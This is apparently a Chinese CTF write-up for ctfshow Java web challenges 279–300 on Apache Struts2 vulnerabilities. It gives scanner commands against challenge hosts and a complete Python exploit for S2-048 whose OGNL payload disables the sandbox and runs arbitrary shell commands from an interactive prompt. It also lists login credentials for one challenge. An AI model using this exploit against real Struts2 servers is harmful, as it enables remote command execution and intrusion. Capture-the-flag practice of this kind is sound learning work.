ctfshow-web入门- java 279-300

暂时不太会java 先用脚本打一遍 后边再进行调试分析

web279-294 296-297

脚本通杀 https://github.com/HatBoy/Struts2-Scan 这个脚本会出现xxx漏洞暂时不可利用

改1502行
if name not in s2_list:
为
if name not in s2_dict:
即可

python Struts2Scan.py -u http://43181c16-c70a-4ed8-bc88-18e0ffa086a0.challenge.ctf.show:8080/S2-001/login.action

利用脚本命令执行

python Struts2Scan.py -u http://43181c16-c70a-4ed8-bc88-18e0ffa086a0.challenge.ctf.show:8080/S2-001/login.action -n S2-001 -e

flag在env中或者echo flag 其余正常执行linux命令就可以

s2-005扫描不显示有这个漏洞 但是直接指定也可以命令执行

web295

s2-048 py3 exp 漏洞利用地址在S2-048/integration/saveGangster.action

import json,re
import requests
import threading
import urllib
#漏洞利用地址在S2-048/integration/saveGangster.action
def Poc(url,command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    data = urllib.parse.urlencode(poc)
    try:
        result = requests.post(url,data=data,headers=header)
        if result.status_code == 200:
            print(result.content)
    except requests.exceptions.RequestException as e:
        print(e)

th = {"url":""}

while True:
    if th.get("url") != "":
        input_cmd = input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print(th.get("url"))
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = input("set url :")
        th["url"] = url

web298

使用工具jd-gui查看源码 用户名==admin 密码==ctfshow

http://5063a19e-59fb-4782-b3da-b2137e46cf45.challenge.ctf.show:8080/ctfshow/login?username=admin&password=ctfshow

web299 300